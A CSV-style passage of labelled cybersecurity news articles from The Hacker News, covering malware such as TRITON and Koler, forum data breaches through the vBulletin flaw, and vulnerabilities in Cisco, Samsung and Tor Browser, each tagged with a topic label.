""The hacker behind Clast82 was able to bypass Google Play's protections using a creative, but concerning, methodology,"" Hazum said. ""With a simple manipulation of readily available 3rd party resources — like a GitHub account, or a FireBase account — the hacker was able to leverage readily available resources to bypass Google Play Store's protections. The victims thought they were downloading an innocuous utility app from the official Android market, but what they were really getting was a dangerous trojan coming straight for their financial accounts.""

",Malware
TRITON Malware Targeting Critical Infrastructure Could Cause Physical Damage,https://thehackernews.com/2017/12/triton-ics-scada-malware.html,"Security researchers have uncovered another nasty piece of malware designed specifically to target industrial control systems (ICS) with a potential to cause health and life-threatening accidents.

Dubbed Triton, also known as Trisis, the ICS malware has been designed to target Triconex Safety Instrumented System (SIS) controllers made by Schneider Electric—an autonomous control system that independently monitors the performance of critical systems and takes immediate actions automatically, if a dangerous state is detected.

Researchers from the Mandiant division of security firm FireEye published a report on Thursday, suggesting state-sponsored attackers used the Triton malware to cause physical damage to an organization.

Neither the targeted organization name has been disclosed by the researchers nor they have linked the attack to any known nation-state hacking group.

According to separate research conducted by ICS cybersecurity firm Dragos, which calls this malware ""TRISIS,"" the attack was launched against an industrial organization in the Middle East.

Triton leverages the proprietary TriStation protocol, which is an engineering and maintenance tool used by Triconex SIS products and is not publicly documented, suggesting that the attackers reverse engineered it when creating their malware.

""The attacker gained remote access to an SIS engineering workstation and deployed the TRITON attack framework to reprogram the SIS controllers,"" FireEye researchers said.

The hackers deployed Triton on an SIS engineering workstation running Windows operating system by masquerading it as the legitimate Triconex Trilog application.

The current version of TRITON malware that researchers analyzed was built with many features, ""including the ability to read and write programs, read and write individual functions and query the state of the SIS controller.""

""During the incident, some SIS controllers entered a failed safe state, which automatically shut down the industrial process and prompted the asset owner to initiate an investigation,"" the researchers said.

Using TRITON, an attacker can typically reprogram the SIS logic to falsely shut down a process that is actuality in a safe state. Though such scenario would not cause any physical damage, organizations can face financial losses due to process downtime.

Besides this, attackers can also cause severe life-threatening damages by reprogramming the SIS logic to allow unsafe conditions to persist or by intentionally manipulating the processes to achieve unsafe state first.

""The attacker deployed TRITON shortly after gaining access to the SIS system, indicating that they had pre-built and tested the tool which would require access to hardware and software that is not widely available.""

Researchers believe Triton is emerging as a severe threat to critical infrastructures, just like Stuxnet, IronGate, and Industroyer, because of its capabilities to cause physical damage or shut down operations.

Researchers at Symantec have also provided a brief analysis here.

",Malware
"Comodo Forums Hack Exposes 245,000 Users' Data — Recent vBulletin 0-day Used",https://thehackernews.com/2019/10/Comodo-vbulletin-hacked.html,"If you have an account with the Comodo discussion board and support forums, also known as ITarian Forum, you should change your password immediately.

Cybersecurity company Comodo has become one of the major victims of a recently disclosed vBulletin 0-day vulnerability, exposing login account information of over nearly 245,000 users registered with the Comodo Forums websites.

In a brief security notice published earlier today, Comodo admitted the data breach, revealing that an unknown attacker exploited the vBulletin vulnerability (CVE-2019-16759) and potentially gained access to Comodo Forums database.

It's worth noting that Comodo forum was hacked on September 29, almost four days after vBulletin developers released a patch to let administrators address the vulnerability, but the company failed to apply the patches on time.

As The Hacker News broke the news last week, an anonymous hacker publicly disclosed details of a critical then-unpatched vulnerability in vBulletin—one of the widely used internet forum software—which could have allowed remote attackers to execute arbitrary commands on the web server.

However, Comodo has not specified which of the company's forums has been hacked out of the two separate forums it owns.

One the forums, ""forums.comodo.com,"" is hosted at Comodo's own sub-domain and is powered by the different forum software, called Simple Machines Forum, and appears not to be impacted.

The second forum, which runs over the vBulletin software and has likely been hacked, is ITarian Forum hosted at ""forum.itarian.com,"" a discussion board where the company offers technical assistance to the users of its products.


What Type of Information Was Accessed?

The breached database contains forum users' information, including:

Login username
Name
Email address
Hashed passwords
Last IP address used to access the forums
Some social media usernames in very limited situations.

The company became aware of the security breach over the weekend on September 29 morning, which suggests users registered on Comodo Forums until this Sunday are impacted by the breach.

""Very recently a new vulnerability in the vBulletin software, which is one of the most popular server applications for website comments including the Comodo Forums, was made public,"" the company says.

""Over the weekend at 4:57 am ET on Sunday, September 29, 2019, we became aware that this security flaw in the vBulletin software had become exploited resulting in a potential data breach on the Comodo Forums.""

Immediately after detecting the security intrusion, the Comodo IT infrastructure team immediately took the forums offline in an attempt to mitigate the vBulletin exploit and applied the recommended security patches.

What Users Should Do Now?

If you have registered with Comodo Forums on or before September 29, you are highly recommended to immediately change the password for your forum account to a strong and unique one and for any other online account where you use the same credentials.

Although the account passwords were hashed in vBulletin for the Comodo Forum users, Comodo advises users to change their passwords as part of good password practices.

""We deeply regret any inconvenience or distress this vulnerability may have caused you, our users,"" the company says.

""As members of our community of Comodo Forum users, we want to reassure you that we have put in place measures to ensure that vulnerabilities in third-party software, such as vBulletin, will be patched immediately when patches become available.""

Besides this, at the time of writing, the company has also temporarily disabled the registration for new users on the affected forums, The Hacker News confirmed.

",Data_Breaches
Flaw Affecting Millions of Cisco Devices Let Attackers Implant Persistent Backdoor,https://thehackernews.com/2019/05/cisco-secure-boot-bypass.html,"Researchers have discovered a severe vulnerability in Cisco products that could allow attackers to implant persistent backdoor on wide range devices used in enterprises and government networks, including routers, switches, and firewalls.

Dubbed Thrangrycat or 😾😾😾, the vulnerability, discovered by researchers from the security firm Red Balloon and identified as CVE-2019-1649, affects multiple Cisco products that support Trust Anchor module (TAm).

Trust Anchor module (TAm) is a hardware-based Secure Boot functionality implemented in almost all of Cisco enterprise devices since 2013 that ensures the firmware running on hardware platforms is authentic and unmodified.

However, researchers found a series of hardware design flaws that could allow an authenticated attacker to make the persistent modification to the Trust Anchor module via FPGA bitstream modification and load the malicious bootloader.

""An attacker with root privileges on the device can modify the contents of the FPGA anchor bitstream, which is stored unprotected in flash memory. Elements of this bitstream can be modified to disable critical functionality in the TAm,"" researchers said.

""Successful modification of the bitstream is persistent, and the Trust Anchor will be disabled in subsequent boot sequences. It is also possible to lock out any software updates to the TAm's bitstream.""

Chaining With Remote Bugs: No Physical Access Required

Since the vulnerability exploitation requires root privileges, an advisory released by Cisco stressed that only a local attacker with physical access to the targeted system could write a modified firmware image to the component.

However, Red Balloon researchers explained that attackers could also exploit the Thrangrycat vulnerability remotely by chaining it together with other flaws that could allow them to gain root access or, at least, execute commands as root.

To demonstrated this attack, researchers revealed an RCE vulnerability (CVE-2019-1862) in the web-based user interface of Cisco's IOS operating system that allows a logged-in administrator to remotely execute arbitrary commands on the underlying Linux shell of an affected device with root privileges.

After gaining root access, the rogue administrator can then remotely bypass Trust Anchor module (TAm) on a targeted device using the Thrangrycat vulnerability and install a malicious backdoor.

Here's what makes this vulnerability more severe:

""By chaining the 😾😾😾 and remote command injection vulnerabilities, an attacker can remotely and persistently bypass Cisco's secure boot mechanism and lock out all future software updates to the TAm,"" researchers said.

""Since the flaws reside within the hardware design, it is unlikely that any software security patch will fully resolve the fundamental security vulnerability.""

While researchers tested the vulnerabilities against Cisco ASR 1001-X routers, hundreds of millions of Cisco units running an FPGA-based TAm around the world—which includes everything from enterprise routers to network switches and firewalls—are vulnerable.

Red Balloon Security privately reported the issues to Cisco in November 2018 and only release some details to the public after Cisco issued firmware patches to address both flaws and listed all affected products.

Cisco said the company did not detect attacks exploiting any of these two vulnerabilities.

The full details of the vulnerabilities will be released at this year's Black Hat USA security conference in August.

",Malware
The Snappening — Snapchat Hacker Threatens to Leak thousands of Images,https://thehackernews.com/2014/10/the-snappening-snapchat-hacker_10.html,"The waves of celebrities photos have not yet stopped completely, and a new privacy threat has emerged exposing tens of thousands of private photographs and videos of innocent users are circulating over the Internet.

The personal image that are believed to be sent through Snapchat — the ephemeral messaging service that allows users to send pictures that should disappear after a few seconds — has been floating on the image based 4chan's notorious /b/ board since last night. The incident was result of a security breach in an unofficial third-party app for Snapchat.

Earlier this week, an anonymous 4chan user claimed to have obtained images on Snapchat and then the user warned of releasing thousands of videos and images sent using Snapchat soon in an event dubbed 'The Snappening'.

Previously, It was believed that the official SnapChat mobile app or its servers had been hacked by the hackers, and the third-party Snapchat client app has been collecting every photo and video file sent through the messaging service for years, giving hackers access to a 13GB private Snapchat files.

But Snapchat has denied that its service was ever compromised. Earlier today, Snapchat issued a statement about the ""Snappening"" and blamed its consumers for using unofficial and unauthorized third-party apps.
""We can confirm that Snapchat's servers were never breached and were not the source of these leaks,' a Snapchat representative said in a statement. ""Snapchatters were victimised by their use of third-party apps to send and receive Snaps, a practice that we expressly prohibit in our Terms of Use precisely because they compromise our users' security. We vigilantly monitor the App Store and Google Play for illegal third-party apps and have succeeded in getting many of these removed.""
The most worrying part for the users is that Snapchat was right. The personal data is supposed to be obtained from a website called SnapSaved.com — an external app used by a number of Snapchatters in order to save Snapchat photos without the sender knowing — which has been inactive for the past few months and is apparently independent of the official Snapchat service.

However, Business Insider has pointed to SnapSaved.com, a site which is no longer functional, and the SnapSave app as potential sources of the leak. Meanwhile, an assortment of photos has been traced back to SnapchatLeaked.com — site also posted personal and photos of Snapchat users, indicating that the photos could have been circulating for months.

""The Snappening"" is named in reference to the recent celebrity photos leak that was called ""The Fappening."" The incident comes just weeks after thousands of celebrity images were leaked online through 4chan website, following a hack of Apple's iCloud.

Snapchat was first hacked in December 2013 when 4.6 million Snapchat users were exposed in a database breach. Later, the denial-of-service attack and CAPTCHA Security bypass vulnerabilities were discovered by the researchers at the beginning of this year.

",Data_Breaches
New Android Exploit Could Force Factory Reset remotely,https://thehackernews.com/2012/09/new-android-exploit-could-force-factory.html,"Clicking one wrong link can cause malicious code to execute, which could do anything from infecting your computer with malware to, apparently, wiping your phone data completely. At the Ekoparty security conference, researcher Ravi Borganokar demonstrated at the Ekoparty security conference in Argentina last week, that how a single line of HTML code could be used to run a factory reset or even clear the SIM card on certain Samsung phones.

Malicious hackers can hide a code in a web page that will trigger a full factory reset of Samsung's best-selling Galaxy S3 smartphone, deleting contacts, photographs, music, apps and other valuable data.

The devastating flaw lies in Samsung's dialling software, triggered by the tel protocol in a URL. It isn't applicable to all the company's Android handsets, but those that are vulnerable can have their PIN changed or be wiped completely just by visiting a web page or snapping a bad QR code, or even bonking up against the wrong wireless NFC tag. The tel protocol is generally used with phone numbers to provide clickable ""call me"" links on websites: tapping on the hyperlink in the handset's web browser opens up the dialling software and calls the number contained in the link.

Samsung is currently looking into the issue further, and details are still coming out about which devices are affected. For the time being, however, it appears that only Samsung phones running TouchWiz are susceptible (so not the Galaxy Nexus or any device running stock Android), and only if the malicious URL is loaded in the stock browser, rather than Chrome. The current fix for the issue is to disable automatic site loading in QR and NFC readers, and be careful about clicking potentially dodgy links.


",Vulnerability
"Hackers Breach Stack Overflow Q&A Site, Some Users' Data Exposed",https://thehackernews.com/2019/05/stack-overflow-databreach.html,"Note: We have updated this story to reflect new information after Stack Overflow changed its original announcement and shared more details on the security incident.

Stack Overflow, one of the largest question and answer site for programmers, revealed today that unknown hackers managed to exploit a bug in its development tier and then almost a week after they gained unauthorized access to its production version.

Founded by Jeff Atwood and Joel Spolsky in 2008, Stack Overflow is the flagship site of the Stack Exchange Network. With 10 million registered users and over 50 million unique visitors every month, Stack Overflow is very popular among professional and enthusiast programmers.

In an older version of the announcement published by Mary Ferguson, VP of Engineering at Stack Overflow, the company confirmed the breach but said it did not find any evidence that hackers accessed customers' accounts or any user data.

However, the updated announcement now says that after sitting quiet for a week, hackers executed privileged web requests, but were able to gain access to a very small portion of data, including IP address, names, and email address—and that for only a small number of users.

""Between May 5 and May 11, the intruder contained their activities to exploration. On May 11, the intruder made a change to our system to grant themselves a privileged access on production. This change was quickly identified and we revoked their access network-wide, began investigating the intrusion, and began taking steps to remediate the intrusion.""
""We can now confirm that our investigation suggests the requests in question affected approximately 250 public network users. Affected users will be notified by us,"" Ferguson said.

The company also revealed hackers exploited a bug that was introduced in a recently deployed built to the development tier for the Stack Overflow website.

Stack Overflow said the company is patching all known vulnerabilities.

""We discovered and investigated the extent of the access and are addressing all known vulnerabilities,"" Ferguson said.

""As part of our security procedures to protect sensitive customer data, we maintain separate infrastructure and networks for clients of our Teams, Business, and Enterprise products and we have found no evidence that those systems or customer data were accessed. Our Advertising and Talent businesses were also not impacted by this intrusion.""

Late last year, another popular question and answer website Quora suffered a massive data breach with hackers gaining access to sensitive information of about 100 million of its users, including their names, email addresses, hashed password, and personal messages.

",Cyber_Attack
Download Tortilla Tool - Anonymize everything through Tor,https://thehackernews.com/2013/07/Tortilla-Tool-download-TOR-anonymity.html,"Recent disclosures by whistleblower Edward Snowden claiming that internet traffic is being intercepted and used by the Americans in their war on terror, force to re-think about the user's privacy and online anonymity.
It has been relatively common knowledge for years that wherever we go on the web, we leave clear tracks, so it shouldn't really have come as much of a surprise to discover this has been going on.

The best thing you can do to stay anonymous online is to hide your IP address. If someone knows your IP address, it is the easiest way to trace your online activity back to you and they can easily determine the geographic location of the server that hosts that address and get a rough idea of where you're located.

TOR is a network of virtual tunnels that allows people and groups to improve their privacy and security on the Internet. Browsing with TOR is a lot like simultaneously using hundreds of different proxies that are randomized periodically.

Tor Browser Bundle includes its own version of Firefox to preserve anonymity, but plugins such as Flash don't work with the bundle. For Malware analysts never want to disclose their IP address/Location while testing the Malware samples, or for analysis or communicating with command-and-control servers, TOR is not enough.
Tortilla creator Jason Geffner
CrowdStrike researcher Jason Geffner released an open source free new tool, called Tortilla, a new tool to securely, anonymously, and transparently route all TCP/IP and DNS traffic through Tor, regardless of the client software, and without relying on VPNs or additional hardware or virtual machines.

This new tool also supports Flash and other plug-ins, and doesn't require additional hardware or virtual machines. Jason released Tortilla at Black Hat Conference this year. Online Activists, Hackers and Bad people also love anonymity, which means the Tortilla Tool is ideal for those not wanting to be tracked or overheard.

Download Tortilla Tool

",Malware
DDoS Attacker Who Ruined Gamers' Christmas Gets 27 Months in Prison,https://thehackernews.com/2019/07/christmas-ddos-attacks.html,"A 23-year-old hacker from Utah who launched a series of DDoS attacks against multiple online services, websites, and online gaming companies between December 2013 and January 2014 has been sentenced to 27 months in prison.

Austin Thompson, a.k.a. ""DerpTroll,"" pledged guilty back in November 2018 after he admitted to being a part of DerpTrolling, a hacker group that was behind DDoS attacks against several major online gaming platforms including Electronic Arts' Origin service, Sony PlayStation network, and Valve Software's Steam during Christmas.

""Thompson typically used the Twitter account @DerpTrolling to announce that an attack was imminent and then posted ""scalps"" (screenshots or other photos showing that victims' servers had been taken down) after the attack,"" the DoJ says.

According to a U.S. Department of Justice press release published Wednesday, Thompson's actions caused the victim companies at least $95,000 in damages. The defendant was arrested in summer last year.

In addition to the prison sentence, the DoJ has also ordered the defendant to pay $95,000 in restitution to Daybreak Games, formerly Sony Online Entertainment.

Thompson is currently free on bond and has been ordered to surrender to authorities on 23rd August 2019 in order to begin his sentence.

""Denial-of-service attacks cost businesses and individuals millions of dollars annually,"" US Attorney Robert Brewer said. ""We are committed to prosecuting hackers who intentionally disrupt internet access.""

However, it wasn't just DerpTrolling that created chaos in 2014 by disrupting online gaming servers owned by Sony, Microsoft, Riot Games, Nintendo, Valve, and Electronic Arts.

Lizard Squad, an infamous hacking group, also made headlines in year 2014 by launching DDoS attacks against Microsoft's Xbox Live and Sony's PlayStation Network and knocking them offline during the Christmas holidays.

Several teenagers have since been arrested and charged around the world for participating in the Lizard Squad 2014 DDoS attacks.

Julius Kivimaki, one of the Lizard Squad members who was arrested by Finnish authorities in late 2014, was convicted in Finland in July 2015, receiving a suspended prison sentence of two years for his actions.

",Cyber_Attack
The Hottest Malware Hits of the Summer,https://thehackernews.com/2019/09/its-been-summer-of-ransomware-hold-ups.html,"It's been a summer of ransomware hold-ups, supply chain attacks and fileless attacks flying under the radar of old-school security. With malware running amok while we were lying on the beach, here's a recap of the most burning strains and trends seen in the wild during the months of July and August 2019.

Malware Evolution Trends

The heat must have had an effect as this summer saw malware continuing to evolve, particularly around three core trends:

Evasion-by-design

Malware has been increasingly designed to bypass security controls leveraging a host of tactics, most notably by:

Changing hashes via file obfuscation to evade AVs.
Using encrypted communication with C2 servers to foil EDRs.
Using feature manipulation and tampering to trick AI, machine-learning engines, and sandboxes through the detection of such environments and the deliberate delay in execution.

Fileless Attacks and Living-Off-The-Land (LOTL)

Taking evasion techniques one step further, an increasing number of strains are leveraging PowerShell commands and masquerading as legitimate system tools, all while running completely from memory (RAM) to fly under the radar of traditional IoC-based solutions and requiring behavior-based analysis to detect.

(Jack-in-the-box)2 or Jack-in-the-box, Squared

No thanks to underground botnet-as-a-service businesses, whole botnets of compromised systems are rented out to hackers, through which they can leverage ready-made access to live and well systems to simultaneously unleash multiple malware strains at their disposal. For example, Emotet serving IcedID (Bokbot) followed by Trickbot or the Ryuk ransomware.

Deadliest Immediate Threats

What were this summer's most exotic and lethal malware strains? Here's a roundup.

Astaroth Malware Uses Living-Off-The-Land (LOTL) Techniques

Targeting European and Brazilian organizations, and posing an immediate threat to 76% of organizations who tested their resilience to it, according to the Cymulate Research Lab, the fileless Astaroth malware evades traditional IoC-based security controls, stealing user credentials, including PII, system and financial data.

Credit: Microsoft

At no point during the entire attack kill chain does Astaroth drop any executable files on disk, or use any file that is not a system tool, running its payload completely in memory (RAM).

Sodinokibi Exploits a CVE to Push Ransomware Via MSP websites

The Sodinokibi (""Sodi"") ransomware is rare in its usage of a Windows vulnerability, namely CVE-2018-8453 patched by Microsoft last year, which enables gaining admin-level access. Suspected to be the successor of the GandCrab ransomware-as-a-service, Sodinokibi is disseminated through managed service providers' (MSP) websites, a form of supply chain attacks, where download links are replaced with the ransomware executable. Initially suspected as being offered as a service in the underground because of its 'master encryption key' approach, it has been confirmed that this is, in fact, the case.

#Sodinokibi #REvil Ransomware as a Service arrived in russian hacking forum. pic.twitter.com/inT5BYWDIN
— Damian (@Damian1338) August 28, 2019


The good news is that none of the organizations simulating this specific variant were found to be vulnerable; however, the exposure rate for other Sodi variants during this summer ranged between 60% and 77%, depending on the strain tested.

GermanWiper Ransomware Adds Insult to Injury

Targeting German-speaking countries, GermanWiper does not really encrypt files. Rather, it overwrites all the victim's content with zeroes, irreversibly destroying their data. The ransom note is therefore bogus, rendering any payments made useless, and making offline backups crucial for recovery.

Posing as a job application with a CV attachment, the malware is spread via email spam campaigns. 64% of organizations simulating GermanWiper appeared to be vulnerable when testing controls against it.

MegaCortex Ransomware Extorts US and EU-based Enterprises

Posing a threat to 70% of organizations, based on attack simulations performed, MegaCortex deliberately targets larger firms in a bid to extort larger sums of cash, ranging from $2M-$6M in bitcoin. The MegaCortex operators compromise servers critical to businesses and encrypt them and any other systems connected to the host.

This ransomware was originally executed using a payload encrypted with a password that was manually entered during a live infection. In its newer strain, this password is hardcoded along with other features that have been automated, such as security evasion techniques. The malware has also evolved to decrypt and run its payload from memory.

Silence APT Spreads Malware Targeting Banks Worldwide

The Russian-speaking advanced persistent threat (APT) group is one of the most sophisticated in the world and has recently updated its TTPs to encrypt critical strings, including commands issued to bots in order to evade detection. Initially sending recon emails to potential victims to identify the easy-clickers, after initial infection, the hackers now spread additional malware to victims either through their rewritten TrueBot loader or through a fileless loader called Ivoke, hiding C2 communications through DNS tunneling. Over the past year, the group has amassed an estimated $4 million.

84% of organizations are vulnerable to the strain released this summer, according to Cymulate data.

Turla Attacks Govt's using Hijacked Oilrig APT Group's Servers

Specifically targeting governments and international bodies, Turla was seen to hijack infrastructure belonging to the Iranian-linked Oilrig APT group. Using a combination of custom malware, modified versions of publicly-available hacking tools and legitimate admin software, the group has been moving towards LOTL techniques, and its victims include ministries, governments, and communications technology organizations in ten different countries.

70% of organizations were found vulnerable to this threat at the time of security testing.

Looking to assess your organization's security posture now that the summer is over? Explore how breach and attack simulation can provide you with the immediate, actionable insights you need.

",Malware
Warning: Critical Tor Browser Vulnerability Leaks Users' Real IP Address—Update Now,https://thehackernews.com/2017/11/tor-browser-real-ip.html,"If you follow us on Twitter, you must be aware that since yesterday we have been warning Mac and Linux users of the Tor anonymity browser about a critical vulnerability that could leak their real IP addresses to potential attackers when they visit certain types of web pages.

Discovered by Italian security researcher Filippo Cavallarin, the vulnerability resides in FireFox that eventually also affects Tor Browser, since the privacy-aware service that allows users to surf the web anonymously uses FireFox at its core.

Dubbed by the researcher as TorMoil, the vulnerability affects Tor browser for macOS and Linux and not for Windows, but keeping in mind the security and privacy of Tor users, details about this flaw has not been yet publicly revealed.

Cavallarin, CEO of the security firm We Are Segment, privately reported the security vulnerability to Tor developers on Thursday (October 26), and the Tor developers have rolled out an emergency update Tor version 7.0.8.

According to a short blog post published Tuesday by We Are Segment, the TorMoil vulnerability is due to a Firefox issue in ""handling file:// URLs.""
Important: Tor Browser 7.0.9 is released (Linux/MacOS users) - Fixes a critical security flaw that leaks IP address https://t.co/gITj8F7DnW
— The Hacker News (@TheHackersNews) November 3, 2017

TorMoil is triggered when users click on links that begin with file:// addresses, instead of the more common https:// and https:// addresses.
""Due to a Firefox bug in handling file:// URLs it is possible on both systems that users leak their IP address,"" the blog post reads.
""Once an affected user [running macOS or Linux system] navigates to a specially crafted web page, the operating system may directly connect to the remote host, bypassing Tor Browser.""
The Tor Project has currently issued a temporary workaround to prevent the real IP leakage.

So, macOS and Linux users may found the updated versions of the Tor anonymity browser not behaving properly while navigating to file:// addresses, until a permanent patch becomes available.
""The fix we deployed is just a workaround stopping the leak. As a result of that navigating file:// URLs in the browser might not work as expected anymore. In particular entering file:// URLs in the URL bar and clicking on resulting links is broken,"" the Tor Project said in a blog post published Friday.
""Opening those in a new tab or new window does not work either. A workaround for those issues is dragging the link into the URL bar or on a tab instead. We track this follow-up regression in bug 24136.""
According to the Tor Project, users of both the Windows versions of Tor, Tails and the sandboxed-tor-browser that's in alpha testing are not affected.

The Tor Project also said there's no evidence the TorMoil vulnerability has been actively exploited by hackers to obtain the IP addresses of Tor users.

However, lack of evidence does not prove the bug was not exploited by nation-state attackers and skilled hackers, given the high-demand of Tor zero-day exploit in the market, where Zerodium is ready to pay anyone $1 Million for its exploit.

In an attempt to keep its users' privacy protected, the Tor Project has recently announced the release of Tor 0.3.2.1-alpha that includes support for the next generation onion services, with the integration of new cutting-edge encryption and improvement of overall authentication into its web service.

",Vulnerability
Beware of Fake Android Antivirus and Mobile Ransomware,https://thehackernews.com/2013/07/Android-Ransomware-malware-mohit-kumar-hacker.html,"""Ransomware"" may be a term you haven't heard before. This type of criminal malware, which spread around the world on PCs in 2012, encrypts some or all the files on a computer and holds them for ransom and Cyber thieves have already made millions through such methods.
Ransomware is no longer all about computers. It has evolved to now target mobile devices, specifically Androids platform. For a hacker, a pop up message is just one more way to steal money by sending fake alerts and serious warnings that scare a user into making a payment.

For example, in the case of PCs, we have encountered malware that encrypts crucial data on a user's hard disk, asking the victim to pay a sum to the attacker in order to recover his/her data.

Last year in November at many Hacking Conferences, Security Researcher Mohit Kumar (@Unix_Root) already demonstrated one the most sophisticated android malware called ""Android Malware Engine"", one of its kind yet , that includes the first Android malware Mobile Ransomware worm ever seen.

Last month Symantec had discovered bogus android antivirus software, dubbed Fakedefender.

The Fake Android Defender application displays a false malware detection in an effort to gain the victim's confidence and to con you into paying for software to remove the infection, while ransomware locks up your mobile device and prevents you from using it at all until the ransom is paid.

You won't be able to open any new apps, and ultimately will make your device unusable, until you pay for it. Ransom demands vary and can be anywhere between $30-$100. Cybercriminals have been found to earn up to $30,000 a day on scams such as these!

The key to staying protected against these threats is to ensure that you do not get them onto your device in the first place. Android is open and allows you to download and install apps from virtually anywhere, but those apps might not be vetted and often can't be trusted.

This year at 'The Hackers Conference', Mohit Kumar is going to talk about ""RiskyDroid - Malicious and Spying backdoors in Popular Android applications"". Their presentation will cover the demonstrations of amazing Surveillance, Malicious and Dangerous backdoors in top Rated popular Android applications. Android has something more important than a normal cell phone like email accounts, bank accounts, your personal pictures, your call recordings and many more and do you really think that your Droid is perfectly safe and all your personal information is in safe hand with Google, Facebook, WeChat, Whatsapp or Truecaller ? If yes, then you are in big trouble!

Make sure you are going to attend 'The Hackers Conference' 2013 this year in New Delhi on August 25th 2103 to understand that how genuine applications are Spying on you for Intelligence Information Gathering and stealing your Private Data, exploiting your Privacy.

",Malware
Koler Android Ransomware Learns to Spread via SMS,https://thehackernews.com/2014/10/koler-android-ransomware-learns-to.html,"Users of Android operating system are warned of a new variant of Android malware Koler that spreads itself via text message and holds the victim's infected mobile phone hostage until a ransom is paid.

Researchers observed the Koler Android ransomware Trojan, at the very first time, in May when the Trojan was distributed through certain pornographic websites under the guise of legitimate apps. It locks the victim's mobile screen and then demands money from users with fake notifications from law enforcement agencies accusing users of viewing and storing child pornography.

ANDROID SMS WORM
Recently, researchers from mobile security firm AdaptiveMobile has discovered a new variant of the rare piece of mobile malware – named Worm.Koler – that allows the malware to spread via text message spam and attempts to trick users into opening a shortened bit.ly URL, turning Koler into an SMS worm.

Once the device is infected by the Koler variant, it will first send an SMS message to all contacts in the device's address book with a text stating, ""Someone made a profile named -[the contact's name]- and he uploaded some of your photos! is that you?"" followed by a Bitly link, according to the security firm.

When a victim clicks on the Bitly link, he or she is then redirected to a Dropbox page with a download link for a 'PhotoViewer' app that, if installed, will push a ransom screen to pop up incessantly on the users' screen. The ransom message reads that the device has been locked up because of having illicit content and users must pay $300 via MoneyPak to 'wave the accusations.'
""The device appears to be completely locked down with the screen on the phone blocked, so the user won't be able to close the window, or deactivate the malware through the app manager,"" reads the blog post. ""The victim is forced to buy a voucher as instructed on the blocking page, and send the voucher code to a malware author.""
INFECTION SPREADING RAPIDLY
The Worm.Koler is capable of displaying localized ransomware messages to users from at least 30 countries, including the U.S., where three quarters of the latest Koler variant infections were seen by the firm, and smaller number of infections were also being detected in parts of the Middle East.
""Due to the Worm.Koler's SMS distribution mechanism, we are seeing a rapid spread of infected devices since the 19th of October, which we believe to be the original outbreak date,"" the blog post states. ""During this short period, we have detected several hundred phones that exhibit signs of infection, across multiple US carriers. In addition to this, other mobile operators worldwide—predominantly in the Middle East, have been affected by this malware.""
HOW TO PROTECT YOURSELF
If users suspect they are infected by the malware, they should never authorize any payment as it won't guarantee the unlocking of your device, as well as it will further encourage cyber criminals to carry out such ransomware practices again and again.

Koler does not encrypt files, according to the security firm, therefore it becomes easy for users to eliminate the threat from their infected devices by following two simple steps:
Reboot your phone in the ""Safe Mode""
Remove the 'PhotoViewer' app using standard Android app uninstallation tool
In order to protect yourself from such threats in future, the best practice is to have the ""Unknown Sources"" option turned off in your Android device' security settings menu. Turning off of this option won't let users to install applications from unknown sources, but only from the official Google Play store.

",Malware
Crowd-Funding site Kickstarter Hacked! It's time to change your Password,https://thehackernews.com/2014/02/Kickstarter-hacked-password-data-breach.html,"If you have an account at the popular crowd funding site Kickstarter, it's time to change your account's password. Kickstarter's CEO Yancey Strickler says that the company has been hacked by an unknown hacker earlier this week.

Kickstarter said in a blog post that no credit card information was stolen in Data Breach, but users' personal information has been compromised and they also haven't found evidence of unauthorized activities on accounts.

Data accessed and stolen by hackers included usernames, email addresses, mailing addresses, phone numbers and encrypted passwords of the users. Facebook usernames and logins were not compromised for those who use that log-in system to get on Kickstarter.

According to a Kickstarter's team member, the older users' passwords were encrypted using salted SHA1 and newer users' passwords are encrypted with a stronger hashing algorithm called 'bcrypt'.

Hackers could attempt to crack the encrypted passwords, thus providing them access to a password that's linked to a specific user account. So users are recommended to change their passwords for Kickstarter website and also for any other accounts that using the same password. ""To change your password, log in to your Kickstarter account and look for the banner at the top of the page to create a new, secure password.""

Kickstarter did not say how many accounts were compromised, but the site has more than 5.9 million registered users.

""Upon learning this, we immediately closed the security breach and began strengthening security measures throughout the Kickstarter system."" Yancey Strickler said.

",Data_Breaches
Hackers Breach ZoneAlarm's Forum Site — Outdated vBulletin to Blame,https://thehackernews.com/2019/11/zonealarm-forum-data-breach.html,"ZoneAlarm, an internet security software company owned by Israeli cybersecurity firm Check Point Technologies, has suffered a data breach exposing data of its discussion forum users, the company confirmed The Hacker News.

With nearly 100 million downloads, ZoneAlarm offers antivirus software, firewall, and additional virus protection solutions to home PC users, small businesses, and mobile phones worldwide.

Though neither ZoneAlarm or its parent company Check Point has yet publicly disclosed the security incident, the company quietly sent an alert via email to all affected users over this weekend, The Hacker News learned.

The email-based breach notification advised ZoneAlarm forum users to immediately change their forum account passwords, informing them hackers have unauthorizedly gained access to their names, email addresses, hashed passwords, and date of births.

Moreover, the company has also clarified that the security incident only affects users registered with the ""forums.zonealarm.com"" domain, which has a small number of subscribers, nearly 4,500.

""This [forum] is a separate website from any other website we have and used only by a small number of subscribers who registered to this specific forum,"" the email notification reads.

""The website became inactive in order to fix the problem and will resume as soon as it is fixed. You will be requested to reset your password once joining the forum.""

Hackers Exploited Recent vBulletin 0-Day Flaw

Upon reaching out to the company, a spokesperson confirmed The Hacker News that attackers exploited a known critical RCE vulnerability (CVE-2019-16759) in the vBulletin forum software to compromise ZoneAlarm's website and gain unauthorized access.

For those unaware, this flaw affected vBulletin versions 5.0.0 up to the latest 5.5.4, for which the project maintainers later released patch updates, but only for recent versions 5.5.2, 5.5.3, and 5.5.4.
The Hacker News found that, surprisingly, the security company itself was running an outdated 5.4.4 version of the vBulletin software until last week that let attackers compromise the website easily.

It's the same then-zero-day vBulletin exploit that an anonymous hacker publicly disclosed in late September this year, which, if exploited, could allow remote attackers to take full control over unpatched vBulletin installations.

Moreover, a week after that, the same flaw was also exploited by unknown attackers to hack the Comodo forum website, which exposed login account information of over nearly 245,000 Comodo Forums users.

Though the ZoneAlarm team learned about the breach just late last week and immediately informed affected users, it's unclear exactly when the attackers breached the website.
""ZoneAlarm is conducting an investigation into the matter. We take pride in the fact that we took a proactive approach once this incident was detected and within 24 hours and alerted the forum members,"" the company's spokesperson told the Hacker News.

Since the ZoneAlarm forum website is down at the time of writing, users would not be able to change their account password on the forum at this moment.

But if you are one of the affected users, you are also recommended to change your passwords for any other online account where you use the same credentials, and do the same for the ZoneForum website as soon as the site goes live again.
",Data_Breaches
